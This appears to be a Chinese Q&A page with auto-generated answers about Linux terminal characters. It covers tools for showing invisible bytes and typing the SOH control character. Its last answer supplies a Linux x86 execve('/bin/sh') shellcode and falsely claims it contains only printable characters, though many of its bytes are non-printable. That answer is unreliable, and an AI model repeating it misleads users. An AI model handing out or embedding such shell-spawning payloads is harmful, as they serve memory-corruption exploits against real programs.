查看linux不可见字符
时间: 2024-01-23 22:04:48 浏览: 29
在 Linux 中,可以使用以下命令来查看不可见字符:
1. cat -v filename:该命令将会把文件中的不可见字符转换成可见字符进行显示。
2. od -c filename:该命令将会以八进制形式显示文件中的所有字符,包括不可见字符。
3. hexdump -C filename:该命令将会以十六进制形式显示文件中的所有字符,包括不可见字符。
这些命令可以让你更好地了解文件中的所有字符,包括不可见字符。
相关问题
linux 敲soh字符
在 Linux 终端中,如果你想输入 SOH 字符 (ASCII 码为 0x01),可以按下 Ctrl + A 来输入。这是因为在 ASCII 码表中,Ctrl + A 对应的字符就是 SOH 字符。按下 Ctrl + A 后,终端会立即响应,输入的字符是不可见的,但可以通过其他工具查看,例如 hexdump 命令:
```
$ echo -e '\x01' | hexdump -C
00000000 01 |.|
00000001
```
这里使用 echo 命令输出 SOH 字符,并通过管道将其传递给 hexdump 命令进行查看。
写一段linux x86的只包含可见字符的shellcode
下面是一段仅包含可见字符的 Linux x86 shellcode:
```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
```
这段 shellcode 实现了 Linux x86 系统中常见的 /bin/sh shell 启动。